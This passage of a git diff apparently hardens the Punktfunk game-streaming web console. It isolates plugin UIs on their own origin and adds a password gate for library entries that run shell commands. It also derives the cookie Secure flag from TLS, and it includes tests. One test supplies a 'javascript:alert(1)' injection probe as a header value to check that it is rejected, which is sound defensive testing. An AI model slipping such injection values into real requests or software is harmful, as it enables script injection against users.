"origin", pluginPort: port }; + // `import.meta.dev` is Nitro's build-time dev flag — false in every shipped build, so a + // production bind failure can never resolve to the same-origin arrangement. + if (import.meta.dev) return { pluginUi: "same-origin", pluginPort: null }; + return { pluginUi: "unavailable", pluginPort: null }; +}); diff --git a/web/server/routes/_plugin-health/[id].get.ts b/web/server/routes/_plugin-health/[id].get.ts new file mode 100644 index 00000000..cb482bba --- /dev/null +++ b/web/server/routes/_plugin-health/[id].get.ts @@ -0,0 +1,41 @@ +// GET /_plugin-health/ — is this plugin's UI actually up? +// +// The console needs this to decide between mounting the iframe and showing the offline card. It +// used to be a browser `fetch('/plugin-ui//__health')`, which worked only because plugin UIs +// were same-origin with the console — the very arrangement 2026-08-05 review H-3 removed. From a +// separate origin the browser could not read the answer without us serving CORS, so the probe moved +// here, to the console's own origin, and is done server-side. +// +// Session-gated like every other console route (it is not under a public prefix), so an +// unauthenticated LAN peer cannot enumerate which plugins are running. +import { defineEventHandler, getRouterParam, setResponseStatus } from "h3"; +import { fetchUiCredential, PLUGIN_ID_RE } from "../../util/pluginProxy"; + +export default defineEventHandler(async (event) => { + const id = getRouterParam(event, "id") ?? ""; + if (!PLUGIN_ID_RE.test(id)) { + setResponseStatus(event, 400); + return { ok: false, error: "not a valid plugin id" }; + } + const cred = await fetchUiCredential(id); + if (!cred) { + setResponseStatus(event, 502); + return { ok: false, error: `plugin "${id}" is not running` }; + } + try { + // The plugin's UI server is loopback-only and plain HTTP, exactly as the proxy dials it. + const resp = await fetch(`http://127.0.0.1:${cred.port}/__health`, { + headers: { authorization: `Bearer ${cred.secret}` }, + redirect: "manual", + }); + if (!resp.ok) { + setResponseStatus(event, 502); + return { ok: false, error: `health ${resp.status}` }; + } + return { ok: true }; + } catch { + // Port died between the credential lookup and the probe (plugin restarting). + setResponseStatus(event, 502); + return { ok: false, error: `plugin "${id}" is not reachable` }; + } +}); diff --git a/web/server/routes/api/v1/library/custom.post.ts b/web/server/routes/api/v1/library/custom.post.ts new file mode 100644 index 00000000..50fb4fc7 --- /dev/null +++ b/web/server/routes/api/v1/library/custom.post.ts @@ -0,0 +1,18 @@ +// POST /api/v1/library/custom — creating a custom entry can install a command the host later runs +// as the host user (`prep`, or a `command` launch), so it joins hooks/update-apply/raw-install +// behind the console password when — and only when — the payload carries one of those fields. +// See util/libraryConfirm.ts for the reasoning; 2026-08-05 review M-6. +// +// Wins over the `/api/**` catch-all by h3 route specificity. +import { defineEventHandler, readBody } from "h3"; +import { forwardJson } from "../../../../util/forward"; +import { confirmIfCommandExecution } from "../../../../util/libraryConfirm"; + +export default defineEventHandler(async (event) => { + const body = await readBody>(event); + confirmIfCommandExecution(event, body, body?.password); + // Strip the confirmation before forwarding — the host has no such field and it must not leak + // upstream or into `library.json`. + const { password: _password, ...entry } = body ?? {}; + return forwardJson(event, "/api/v1/library/custom", "POST", entry); +}); diff --git a/web/server/routes/api/v1/library/custom/[id].put.ts b/web/server/routes/api/v1/library/custom/[id].put.ts new file mode 100644 index 00000000..fdbf657c --- /dev/null +++ b/web/server/routes/api/v1/library/custom/[id].put.ts @@ -0,0 +1,19 @@ +// PUT /api/v1/library/custom/{id} — same primitive and same gate as the create route: an UPDATE +// can install `prep` / a `command` launch just as well as a create can, and a gate that only +// covered create would be one PUT away from pointless. See util/libraryConfirm.ts; review M-6. +import { defineEventHandler, getRouterParam, readBody } from "h3"; +import { forwardJson } from "../../../../../util/forward"; +import { confirmIfCommandExecution } from "../../../../../util/libraryConfirm"; + +export default defineEventHandler(async (event) => { + const id = getRouterParam(event, "id") ?? ""; + const body = await readBody>(event); + confirmIfCommandExecution(event, body, body?.password); + const { password: _password, ...entry } = body ?? {}; + return forwardJson( + event, + `/api/v1/library/custom/${encodeURIComponent(id)}`, + "PUT", + entry, + ); +}); diff --git a/web/server/util/auth.ts b/web/server/util/auth.ts index 3d9aedca..5257eef4 100644 --- a/web/server/util/auth.ts +++ b/web/server/util/auth.ts @@ -174,9 +174,20 @@ export function sessionConfig(): SessionConfig { sameSite: "lax", path: "/", // h3 defaults Secure to true, which browsers DROP over plain http:// (so login - // silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS - // (set PUNKTFUNK_UI_SECURE=1 / =true then). - secure: /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""), + // silently fails on a LAN HTTP server). Only mark Secure when actually behind TLS. + // + // Derived from whether TLS is CONFIGURED, not from `PUNKTFUNK_UI_SECURE` alone + // (2026-08-05 review L-20). The entry point already refuses the inverse mistake — + // `PUNKTFUNK_UI_SECURE` without TLS exits rather than serving a console whose cookie + // the browser will never store — but nothing caught this direction: TLS configured and + // the flag forgotten shipped a session cookie without `Secure`, which a browser will + // then also send over a plain-http downgrade. The env var still forces it on for a + // deploy terminating TLS in front of us (a reverse proxy), where this process sees no + // cert of its own. + secure: + (!!process.env.PUNKTFUNK_UI_TLS_CERT && + !!process.env.PUNKTFUNK_UI_TLS_KEY) || + /^(1|true)$/i.test(process.env.PUNKTFUNK_UI_SECURE ?? ""), }, }; } diff --git a/web/server/util/libraryConfirm.ts b/web/server/util/libraryConfirm.ts new file mode 100644 index 00000000..274c71c8 --- /dev/null +++ b/web/server/util/libraryConfirm.ts @@ -0,0 +1,47 @@ +// Shared password gate for the library writes that carry the SAME primitive `hooks.put.ts` gates. +// +// A custom library entry can carry `prep` (commands run before the title launches) and a +// `launch.kind === "command"` (a shell command run at launch). Both are executed verbatim as the +// host user — `/bin/sh -c` on Linux, `cmd.exe /c` on Windows — which is the very thing the hooks +// gate exists to stop a bare session cookie from doing: *"a 7-day session cookie must not be enough +// to leave a persistent command behind on the machine."* +// +// `confirm.ts` gated three routes and these were not among them, so the identical primitive fell +// through the ungated `/api/**` catch-all where the BFF attaches the admin bearer unconditionally +// (2026-08-05 review M-6). Anyone with a session cookie but not the password — a borrowed browser, +// an exfiltrated cookie, a stale 7-day session after a password rotation — could leave a command +// behind. `SameSite=lax` blocks a plain cross-site POST, so this is cookie possession rather than +// drive-by CSRF, but the invariant is the same one. +// +// The gate is CONDITIONAL on the payload actually carrying one of those fields. An ordinary library +// edit — title, artwork, platform, a `steam_appid` launch — is not code execution and prompting for +// it would only train the operator to type their password without reading it. Same reasoning as +// "a catalog install from an already-trusted source is deliberately NOT gated" in `confirm.ts`. +import type { H3Event } from "h3"; +import { confirmPassword } from "./confirm"; + +/** The shape the gate inspects; everything else about the entry is none of its business. */ +interface EntryLike { + prep?: unknown; + launch?: { kind?: unknown } | null; +} + +/** Does this entry carry a field the host will hand to a shell? */ +export function carriesCommandExecution(entry: EntryLike | null | undefined): boolean { + if (!entry || typeof entry !== "object") return false; + if (Array.isArray(entry.prep) && entry.prep.length > 0) return true; + return entry.launch?.kind === "command"; +} + +/** + * Re-verify the console password iff `entries` contains a command-execution field. Throws the same + * 401/429/503 `confirmPassword` does; returns normally when the gate does not apply. + */ +export function confirmIfCommandExecution( + event: H3Event, + entries: EntryLike | EntryLike[] | null | undefined, + password: unknown, +): void { + const list = Array.isArray(entries) ? entries : [entries]; + if (list.some(carriesCommandExecution)) confirmPassword(event, password); +} diff --git a/web/server/util/pluginOrigin.test.ts b/web/server/util/pluginOrigin.test.ts new file mode 100644 index 00000000..51e51452 --- /dev/null +++ b/web/server/util/pluginOrigin.test.ts @@ -0,0 +1,115 @@ +// The `frame-ancestors` source the plugin origin names the console with. +// +// This exists because getting it wrong is SILENT on the server: the header is well-formed, every +// curl of the plugin origin returns 200, and the only symptom is that a browser quietly refuses to +// paint the frame (`ERR_BLOCKED_BY_RESPONSE`) — so the console shows an empty panel and the reason +// is only in devtools. That is exactly how `http://host:47992` shipped as the permitted ancestor of +// an `https://host:47992` console. +import { describe, expect, test } from "bun:test"; +import { frameAncestorSource, isPluginUiPath } from "./pluginOrigin"; + +describe("frameAncestorSource", () => { + test("uses the listener's scheme, NOT the request's", () => { + // The regression. Nitro's localFetch synthesises a request with no TLS socket, so the request + // says `http:` on an HTTPS listener. The listener's own scheme has to win, or the browser + // refuses to frame the plugin. + expect( + frameAncestorSource({ + requestScheme: "http:", + listenerScheme: "https", + hostname: "192.168.1.21", + port: 47992, + }), + ).toBe("https://192.168.1.21:47992"); + }); + + test("a plain-HTTP console (dev) still gets http", () => { + expect( + frameAncestorSource({ + requestScheme: "http:", + listenerScheme: "http", + hostname: "localhost", + port: 3000, + }), + ).toBe("http://localhost:3000"); + }); + + test("x-forwarded-proto wins — only a proxy knows the browser's scheme", () => { + expect( + frameAncestorSource({ + forwardedProto: "https", + requestScheme: "http:", + listenerScheme: "http", + hostname: "console.lan", + port: 47992, + }), + ).toBe("https://console.lan:47992"); + }); + + test("a multi-hop x-forwarded-proto uses the first hop", () => { + expect( + frameAncestorSource({ + forwardedProto: "https, http", + requestScheme: "http:", + listenerScheme: "http", + hostname: "console.lan", + port: 47992, + }), + ).toBe("https://console.lan:47992"); + }); + + test("a junk x-forwarded-proto is ignored rather than echoed", () => { + expect( + frameAncestorSource({ + forwardedProto: "javascript:alert(1)", + requestScheme: "http:", + listenerScheme: "https", + hostname: "192.168.1.21", + port: 47992, + }), + ).toBe("https://192.168.1.21:47992"); + }); + + test("falls back to the request scheme when nothing is stamped", () => { + expect( + frameAncestorSource({ + listenerScheme: null, + requestScheme: "https:", + hostname: "host", + port: 47992, + }), + ).toBe("https://host:47992"); + }); + + test("keeps whatever hostname the operator browsed to", () => { + // The policy has to match their address bar, not a name we prefer. + for (const hostname of ["192.168.1.21", "punktfunk.local", "deck"]) { + expect( + frameAncestorSource({ + requestScheme: "http:", + listenerScheme: "https", + hostname, + port: 47992, + }), + ).toBe(`https://${hostname}:47992`); + } + }); +}); + +describe("isPluginUiPath", () => { + // The two refusals that keep a plugin off the console's origin depend on this split. + test("claims the plugin-UI prefix", () => { + expect(isPluginUiPath("/plugin-ui")).toBe(true); + expect(isPluginUiPath("/plugin-ui/")).toBe(true); + expect(isPluginUiPath("/plugin-ui/rom-manager/index.html")).toBe(true); + }); + + test("claims nothing else — above all not /api", () => { + expect(isPluginUiPath("/api/v1/status")).toBe(false); + expect(isPluginUiPath("/")).toBe(false); + expect(isPluginUiPath("/login")).toBe(false); + // A near-miss must not be swept in by a loose startsWith. + expect(isPluginUiPath("/plugin-uix")).toBe(false); + expect(isPluginUiPath("/plugin-ui-admin")).toBe(false); + }); +}); diff --git a/web/server/util/pluginOrigin.ts b/web/server/util/pluginOrigin.ts new file mode 100644 index 00000000..786f5d0a --- /dev/null +++ b/web/server/util/pluginOrigin.ts @@ -0,0 +1,100 @@ +// Which listener a request arrived on, and where plugin UIs live. +// +// Plugin UIs are served from a DIFFERENT ORIGIN than the console (a second listener on its own +// port — see nitro-entry/bun-https.mjs for why). Two things need to know about that split: the +// gate, which enforces that neither origin serves the other's paths, and the console UI, which has +// to build the iframe URL against the right origin. +import type { H3Event } from "h3"; +import { getRequestHeader } from "h3"; + +/** Set by the server entry on every request; any inbound copy is stripped first. */ +const LISTENER_HEADER = "x-pf-listener"; + +export type Listener = "console" | "plugin"; + +/** + * Which listener served this request. Absent ⇒ `console`, which is the safe default: it is what + * `vite dev` looks like (one listener, and its own middleware intercepts `/plugin-ui` before Nitro + * ever sees it), and treating an unknown lane as the console means the plugin-path refusal below + * applies rather than the console-path one — deny the escalation, not the ordinary console. + */ +export function listenerOf(event: H3Event): Listener { + return getRequestHeader(event, LISTENER_HEADER) === "plugin" + ? "plugin" + : "console"; +} + +/** Paths the plugin origin serves. Everything else on that origin is refused. */ +export function isPluginUiPath(pathname: string): boolean { + return pathname === "/plugin-ui" || pathname.startsWith("/plugin-ui/"); +} + +/** + * The port the plugin-UI origin is listening on, or `null` when there is none — either the bind + * failed (production: plugin UIs are disabled, deliberately, rather than falling back to the + * console origin) or this is `vite dev`, which serves everything from one port. + * + * Read from the value the entry SETS after a successful bind, never from the configured-but-unbound + * one, so this can never advertise a port nothing is listening on. + */ +export function pluginOriginPort(): number | null { + const raw = process.env.PUNKTFUNK_UI_PLUGIN_PORT_ACTIVE; + const port = raw ? Number(raw) : Number.NaN; + return Number.isInteger(port) && port > 0 ? port : null; +} + +/** The console's own port, for the plugin origin's `frame-ancestors`. */ +export function consoleOriginPort(): number | null { + const raw = process.env.PUNKTFUNK_UI_CONSOLE_PORT_ACTIVE; + const port = raw ? Number(raw) : Number.NaN; + return Number.isInteger(port) && port > 0 ? port : null; +} + +/** + * The scheme the console is actually served on (`https` when TLS is configured), or `null` when the + * entry has not stamped one — `vite dev`, or a test importing this directly. + * + * ⚠ This cannot be read off the request. Nitro's `localFetch` hands the app a SYNTHETIC request with + * no TLS socket, so `getRequestURL(event).protocol` is `http:` even when the listener is HTTPS. That + * is harmless for a relative redirect, and was NOT harmless for `frame-ancestors`: the plugin origin + * named `http://host:47992` as its only permitted ancestor while the console the operator was + * looking at was `https://host:47992`, and the browser refused to frame the plugin + * (`ERR_BLOCKED_BY_RESPONSE`) — an empty panel with the explanation only in the devtools console. + * The scheme-part upgrade in CSP3 (an `http` source also matching an `https` URL) does NOT rescue + * this: Chromium enforces `frame-ancestors` against the ancestor's origin strictly. Verified on + * glass, 2026-08-06. + * + * Stamped by the entry from the same `tls` option both listeners are built with, so the two can + * never disagree, and never read from the environment we inherited. + */ +export function consoleOriginScheme(): "http" | "https" | null { + const raw = process.env.PUNKTFUNK_UI_SCHEME_ACTIVE; + return raw === "https" || raw === "http" ? raw : null; +} + +/** + * The `frame-ancestors` source naming the console, as a pure rule over the three things that can + * know the scheme — kept separate from the request so it can be tested, because the bug it exists + * to prevent is invisible in a header (`http://…` looks perfectly well-formed) and only shows up as + * a plugin panel that never fills in. + * + * Precedence, and why: + * 1. `x-forwarded-proto` — something in front terminated TLS, so it, not us, knows what the + * browser's address bar says. The only case where the two legitimately differ. + * 2. the scheme the listener was built with — the normal path, stamped at bind time. + * 3. the request's own scheme — last resort (nothing stamped: `vite dev`, or a direct import). + */ +export function frameAncestorSource(o: { + forwardedProto?: string | null; + listenerScheme?: "http" | "https" | null; + requestScheme: string; + hostname: string; + port: number; +}): string { + const forwarded = o.forwardedProto?.split(",")[0]?.trim().toLowerCase(); + const scheme = + forwarded === "https" || forwarded === "http" + ? forwarded + : (o.listenerScheme ?? o.requestScheme.replace(/:$/, "")); + return `${scheme}://${o.hostname}:${o.port}`; +} diff --git a/web/src/api/plugins.ts b/web/src/api/plugins.ts index 017ad062..2c113b9b 100644 --- a/web/src/api/plugins.ts +++ b/web/src/api/plugins.ts @@ -29,8 +29,18 @@ export interface PluginSummary { version?: string; /** Present iff the plugin serves a UI (and thus gets a nav entry). */ ui?: PluginUiSummary; + /** + * What kind of plugin this is. The console knows one value — `"library"` — and keeps those OUT + * of the nav: a scanner's entry point is the Library section's Game sources surface, and six + * installed scanners would otherwise flood the sidebar (design D5). Absent on an older host, and + * absent by choice for a plugin that wants its own page anyway (rom-manager). + */ + category?: string; } +/** The one category the console treats specially. */ +export const LIBRARY_CATEGORY = "library"; + // A curated lucide set for plugin nav icons. Importing lucide's full dynamic icon map would defeat // tree-shaking (U-S4), so a plugin picks a name from here; anything unknown falls back to Puzzle. const ICONS: Record = { @@ -97,6 +107,18 @@ export function usePlugins() { }); } -/** Only the plugins that surface a UI — the ones that get a nav entry. */ +/** + * The plugins that get a **nav entry**: those serving a UI, minus the library-category ones. + * + * A library plugin still serves a UI port (that is how `__config` is reached) and its + * `/plugins/$pluginId/$` route still resolves, so an existing deep link keeps working — it simply + * isn't advertised in the sidebar. + */ export const uiPlugins = (list: PluginSummary[] | undefined): PluginSummary[] => - (list ?? []).filter((p) => p.ui); + (list ?? []).filter((p) => p.ui && p.category !== LIBRARY_CATEGORY); + +/** The installed library-category plugins — the Game sources surface's own list. */ +export const libraryPlugins = ( + list: PluginSummary[] | undefined, +): PluginSummary[] => + (list ?? []).filter((p) => p.category === LIBRARY_CATEGORY); diff --git a/web/src/api/store.ts b/web/src/api/store.ts index e4a34fb4..77de452a 100644 --- a/web/src/api/store.ts +++ b/web/src/api/store.ts @@ -69,6 +69,17 @@ export interface StoreEntry { installed_version?: string; update_available: boolean; blocked?: string; + /** + * What kind of plugin this is. Browse filters on these, and the Library section's "Add a source" + * rail shows exactly the `library` ones (design D5/D6). Absent on an index that predates them. + */ + categories?: string[]; + /** + * Whether the launcher this plugin scans looks installed on this host, from the index's own + * existence probes (design D8). `undefined` = the entry declares no probes for this platform, + * which is "unknown" and must render differently from "not installed". + */ + detected?: boolean; } export interface StoreCatalog { diff --git a/web/src/api/uiConfig.ts b/web/src/api/uiConfig.ts new file mode 100644 index 00000000..708edc44 --- /dev/null +++ b/web/src/api/uiConfig.ts @@ -0,0 +1,49 @@ +// Where plugin UIs live, from the server that knows. +// +// Plugin UIs are served from a DIFFERENT ORIGIN than the console (2026-08-05 review H-3): same +// scheme and host, its own port. The console has to build iframe and new-tab URLs against that +// origin, and the port has to come from the server — only it knows whether the listener bound. +import { useQuery } from "@tanstack/react-query"; + +export interface UiConfig { + pluginUi: "origin" | "same-origin" | "unavailable"; + pluginPort: number | null; +} + +/** + * Deployment facts the console cannot infer. Cached for the session — the ports cannot change + * without the server restarting, which reloads the page anyway. + */ +export const useUiConfig = () => + useQuery({ + queryKey: ["ui-config"], + queryFn: async (): Promise => { + const r = await fetch("/_auth/ui-config", { + credentials: "same-origin", + }); + if (!r.ok) throw new Error(`ui-config ${r.status}`); + return (await r.json()) as UiConfig; + }, + staleTime: Number.POSITIVE_INFINITY, + retry: 2, + }); + +/** + * The origin serving plugin UIs, or `null` when there is none and the console must say so rather + * than render a frame. + * + * Built from the CURRENT location's scheme and hostname, so it follows whatever address the + * operator actually browsed to — an IP, an mDNS name, a hostname — and only the port differs. That + * matters for more than cosmetics: it keeps the origin same-SITE with the console, which is what + * lets the `SameSite=Lax` session cookie reach the plugin listener at all. + */ +export function pluginOriginFrom( + config: UiConfig | undefined, +): string | null | undefined { + if (!config) return undefined; // still loading — render neither frame nor error + if (config.pluginUi === "same-origin") return ""; // vite dev: relative URLs, one origin + if (config.pluginUi === "origin" && config.pluginPort) { + return `${window.location.protocol}//${window.location.hostname}:${config.pluginPort}`; + } + return null; // unavailable — the listener did not bind +} diff --git a/web/src/components/brand-mark.tsx b/web/src/components/brand-mark.tsx index ca61e421..88593bfb 100644 --- a/web/src/components/brand-mark.tsx +++ b/web/src/components/brand-mark.tsx @@ -1,4 +1,4 @@ -// punktfunk brand mark: two overlapping circles forming a lens — the violet +// Punktfunk brand mark: two overlapping circles forming a lens — the violet // brand identity (flattened from the clients/apple punktfunk_Logo.icon, shared // verbatim with the marketing site + docs). Back-to-front: large light-violet // circle, deep-violet circle, light highlight where they overlap. diff --git a/web/src/components/logo.tsx b/web/src/components/logo.tsx index 41b51588..35265755 100644 --- a/web/src/components/logo.tsx +++ b/web/src/components/logo.tsx @@ -2,7 +2,7 @@ import { cn } from "@/lib/utils"; import { BrandMark } from "./brand-mark"; import { Wordmark } from "./wordmark"; -// Full punktfunk lockup: the lens mark anchored to the top-left corner of the +// Full Punktfunk lockup: the lens mark anchored to the top-left corner of the // "funk" wordmark. Size the lockup with a width on the wrapper (e.g. `w-40`); // the mark scales as a fraction of that width. export function Logo({ className }: { className?: string }) { diff --git a/web/src/components/ui/spinner.tsx b/web/src/components/ui/spinner.tsx index 01ce8a56..71ba6c07 100644 --- a/web/src/components/ui/spinner.tsx +++ b/web/src/components/ui/spinner.tsx @@ -3,7 +3,7 @@ import { useEffect, useRef } from "react"; import { cn } from "@/lib/utils"; import { m } from "@/paraglide/messages"; -// The punktfunk lens, alive. The two overlapping circles of the brand mark are +// The Punktfunk lens, alive. The two overlapping circles of the brand mark are // recreated from divs and animated as if orbiting on a path whose long axis points // INTO the screen, so depth is the dominant motion: each circle surges toward and // away from the viewer in antiphase, passing in front of and behind the other. diff --git a/web/src/components/wordmark.tsx b/web/src/components/wordmark.tsx index acc8a20d..bfad03a6 100644 --- a/web/src/components/wordmark.tsx +++ b/web/src/components/wordmark.tsx @@ -1,6 +1,6 @@ import { cn } from "@/lib/utils"; -// The punktfunk "funk" wordmark — the real brand typo, vectorised from the +// The Punktfunk "funk" wordmark — the real brand typo, vectorised from the // marketing logo. currentColor so it recolours per surface; defaults to the // light-violet lens highlight that reads on the dark console chrome. Size via // height (e.g. `h-5`); width follows the viewBox. diff --git a/web/src/sections/Library/GameForm.tsx b/web/src/sections/Library/GameForm.tsx index 3ef460b5..79447e50 100644 --- a/web/src/sections/Library/GameForm.tsx +++ b/web/src/sections/Library/GameForm.tsx @@ -23,6 +23,14 @@ interface FormState { header: string; logo: string; command: string; + /** Console-password re-confirmation, required only when `command` is set — see the field's + * own comment at the render site (2026-08-05 review M-6). Never round-tripped from the + * server, so it is always empty on open, including when editing an entry that has one. */ + password: string; + /** `true` = this entry opens a launcher rather than a game (design D4). Purely presentational: + * the console groups launcher entries into their own rail, and clients that don't know the + * field render them as ordinary tiles. */ + isLauncher: boolean; // Details — the flattened GameMeta fields; numbers and lists are kept as the raw // text the user typed and only parsed on submit. platform: string; @@ -43,6 +51,8 @@ const emptyForm: FormState = { header: "", logo: "", command: "", + password: "", + isLauncher: false, platform: "", description: "", developer: "", @@ -62,6 +72,10 @@ function formFrom(entry: GameEntry): FormState { header: entry.art.header ?? "", logo: entry.art.logo ?? "", command: entry.launch?.kind === "command" ? entry.launch.value : "", + password: "", + // Round-tripped like every other field: `update_custom` REPLACES the whole entry, so an + // unread field here would silently demote a launcher entry back to a game on any edit. + isLauncher: entry.role === "launcher", platform: entry.platform ?? "", description: entry.description ?? "", developer: entry.developer ?? "", @@ -104,6 +118,11 @@ function toInput(f: FormState): CustomInput { logo: trim(f.logo), }, launch: command ? { kind: "command", value: command } : null, + // The BFF re-verifies this and strips it before forwarding; the host never sees the field. + // Only sent when there is a command to authorize, matching the conditional gate. + ...(command ? { password: f.password } : {}), + // Omitted when it is the default, matching the host's skip-when-`game` serialization. + ...(f.isLauncher ? { role: "launcher" as const } : {}), platform: trim(f.platform), description: trim(f.description), developer: trim(f.developer), @@ -208,6 +227,8 @@ export const GameForm: FC<{ e.preventDefault(); const data = toInput(form); if (!data.title) return; + // A command is code the host will run on its own; the password field is required with it. + if (form.command.trim() && !form.password) return; onSubmit(data); }; @@ -270,6 +291,42 @@ export const GameForm: FC<{ onChange={set("command")} help={m.library_field_command_help()} /> + {/* A launch command is a shell command the host runs as the host user, so saving + one clears the same bar as a hook or an unreviewed install: the console + password, not just a 7-day session cookie (2026-08-05 review M-6). Shown only + when there is a command to authorize — gating an ordinary title/art edit + would just train the operator to type it without reading. */} + {form.command.trim() && ( + + )} + {/* Design D4: a launcher entry opens the launcher itself rather than a title. It + launches and leases like any other entry — this only moves it into the + console's Launchers rail. Hand-adding one is the supported way to get a + "Heroic" or "Lutris" tile without installing that source's plugin. */} +
+
+ + setForm((f) => ({ ...f, isLauncher: e.target.checked })) + } + /> + +
+

+ {m.library_field_role_help()} +

+
{m.library_details_legend()}

= ({ library, onEdit, onDelete, deletingId }) => { - const games = library.data ?? []; + const all = library.data ?? []; + // Launcher entries (design D4) open the launcher itself — Steam Big Picture, Heroic — rather than + // a title. They launch and lease exactly like games; grouping them into their own rail is purely + // so a shelf of 400 games doesn't bury the two or three ways to open a launcher. + const launchers = all.filter((g) => g.role === "launcher"); + const games = all.filter((g) => g.role !== "launcher"); + const card = (game: GameEntry) => ( + onEdit(game)} + onDelete={() => onDelete(game)} + deleting={deletingId === customId(game)} + /> + ); return ( - {games.length === 0 ? ( + {launchers.length > 0 && ( +

+

+ {m.library_launchers_title()} +

+ + {launchers.map(card)} + +
+ )} + {all.length === 0 ? ( {/* `flush`, not a bare `p-8`: the default `sm:pt-0` would survive the override (tailwind-merge only resolves conflicts within a variant) and eat the top @@ -98,27 +126,25 @@ export const LibraryGrid: FC<{ flush className="p-8 text-center text-sm text-muted-foreground" > - {m.library_empty()} + {/* After extraction a fresh host has NO scanners at all, so "no games" is the + expected first-run state rather than a fault. Point at the fix (design D9) + instead of leaving a bare empty grid. */} +

{m.library_empty()}

+

{m.library_empty_add_source()}

) : ( -
- - {games.map((game) => ( - onEdit(game)} - onDelete={() => onDelete(game)} - deleting={deletingId === customId(game)} - /> - ))} - -
+ games.length > 0 && ( +
+ + {games.map(card)} + +
+ ) )} ); diff --git a/web/src/sections/Library/Providers.tsx b/web/src/sections/Library/Providers.tsx deleted file mode 100644 index b00b6c05..00000000 --- a/web/src/sections/Library/Providers.tsx +++ /dev/null @@ -1,104 +0,0 @@ -import { useQueryClient } from "@tanstack/react-query"; -import { toast } from "@unom/ui/toast"; -import { Trash2 } from "lucide-react"; -import type { FC } from "react"; -import { - getGetLibraryQueryKey, - useDeleteProviderEntries, -} from "@/api/gen/library/library"; -import type { GameEntry } from "@/api/gen/model/gameEntry"; -import { Badge } from "@/components/ui/badge"; -import { Button } from "@/components/ui/button"; -import { Card, CardContent, CardHeader, CardTitle } from "@/components/ui/card"; -import { apiErrorMessage } from "@/lib/errors"; -import { m } from "@/paraglide/messages"; - -/** - * Provider-owned entries: who put them there, and how to get rid of them. - * - * A plugin can sync entries into the library (RFC §8) and they are then refused to hand-edit or - * delete individually — the host answers 409 and points at the provider's own reconcile. Which is - * correct, and completely opaque if the plugin is gone: uninstalling it leaves its games in the - * library with no console-side way to remove them. `DELETE /library/provider/{provider}` is the - * documented clean-uninstall path and nothing called it. - * - * Renders nothing when no entry carries a provider, so an ordinary library sees no extra chrome. - */ -export const ProvidersCard: FC<{ - entries: GameEntry[]; - /** The provider currently filtered to, or null for "everything". */ - active: string | null; - onFilter: (provider: string | null) => void; -}> = ({ entries, active, onFilter }) => { - const qc = useQueryClient(); - const purge = useDeleteProviderEntries(); - - // Count per provider, in first-seen order — the list is small and operator-facing. - const counts = new Map(); - for (const e of entries) { - if (e.provider) counts.set(e.provider, (counts.get(e.provider) ?? 0) + 1); - } - if (counts.size === 0) return null; - - const onPurge = async (provider: string, count: number) => { - if (!confirm(m.library_provider_purge_confirm({ provider, count }))) return; - try { - await purge.mutateAsync({ provider }); - // The host emits `library.changed`, but don't wait for the round trip to redraw. - qc.invalidateQueries({ queryKey: getGetLibraryQueryKey() }); - if (active === provider) onFilter(null); - toast.success(m.library_provider_purged({ provider })); - } catch (e) { - toast.error(apiErrorMessage(e) ?? m.library_provider_purge_failed()); - } - }; - - return ( - - - {m.library_providers_title()} - - -

- {m.library_providers_help()} -

-
- {[...counts.entries()].map(([provider, count]) => ( -
- {provider} - - {m.library_provider_count({ count })} - -
- - -
-
- ))} -
-
-
- ); -}; diff --git a/web/src/sections/Library/SourceSettings.tsx b/web/src/sections/Library/SourceSettings.tsx new file mode 100644 index 00000000..2ff5dd7a --- /dev/null +++ b/web/src/sections/Library/SourceSettings.tsx @@ -0,0 +1,345 @@ +import { toast } from "@unom/ui/toast"; +import { type FC, useEffect, useState } from "react"; +import type { ScannerInfo } from "@/api/gen/model/scannerInfo"; +import { Button } from "@/components/ui/button"; +import { + Dialog, + DialogContent, + DialogHeader, + DialogTitle, +} from "@/components/ui/dialog"; +import { Input } from "@/components/ui/input"; +import { Label } from "@/components/ui/label"; +import { Spinner } from "@/components/ui/spinner"; +import { m } from "@/paraglide/messages"; + +/** + * A library source's settings, rendered as a **generic form** from the plugin's own JSON Schema. + * + * The point (design D7, closing G8): a scanner plugin ships no SPA at all. It serves + * `GET/PUT /__config` from the kit, and the console renders whatever schema comes back. Everything + * goes through the existing session-gated `/plugin-ui//…` proxy, so there is **zero new host + * surface** — the browser never learns the plugin's port or secret. + * + * Fields the derivation can't express fall back to a raw JSON editor. That fallback is what bounds + * the risk of the whole approach: worst case the drawer is a validated textarea, and the PUT still + * validates by decode host-side either way. + */ +export const SourceSettingsDialog: FC<{ + source: ScannerInfo; + onClose: () => void; +}> = ({ source, onClose }) => { + const pluginId = source.provider ?? source.id; + const [state, setState] = useState< + | { tag: "loading" } + | { tag: "error"; message: string } + | { tag: "ready"; schema: JsonSchemaDoc | null; value: JsonObject } + >({ tag: "loading" }); + const [raw, setRaw] = useState(""); + const [saving, setSaving] = useState(false); + + useEffect(() => { + let cancelled = false; + (async () => { + try { + const res = await fetch(`/plugin-ui/${pluginId}/__config`, { + credentials: "same-origin", + }); + if (!res.ok) throw new Error(`HTTP ${res.status}`); + const body = (await res.json()) as { + schema: JsonSchemaDoc | null; + value: JsonObject | null; + }; + if (cancelled) return; + const value = body.value ?? {}; + setState({ tag: "ready", schema: body.schema, value }); + setRaw(JSON.stringify(value, null, 2)); + } catch (e) { + if (!cancelled) { + setState({ tag: "error", message: String(e) }); + } + } + })(); + return () => { + cancelled = true; + }; + }, [pluginId]); + + const save = async (value: JsonObject) => { + setSaving(true); + try { + const res = await fetch(`/plugin-ui/${pluginId}/__config`, { + method: "PUT", + credentials: "same-origin", + headers: { "content-type": "application/json" }, + body: JSON.stringify(value), + }); + if (!res.ok) { + const body = (await res.json().catch(() => null)) as { + issue?: string; + } | null; + throw new Error(body?.issue ?? `HTTP ${res.status}`); + } + toast.success(m.library_source_settings_saved()); + onClose(); + } catch (e) { + toast.error(m.library_source_settings_failed({ issue: String(e) })); + } finally { + setSaving(false); + } + }; + + return ( + !open && onClose()}> + + + + {m.library_source_settings_title({ source: source.label })} + + + {state.tag === "loading" && } + {state.tag === "error" && ( +

+ {m.library_source_settings_unreachable({ issue: state.message })} +

+ )} + {state.tag === "ready" && ( + + )} +
+
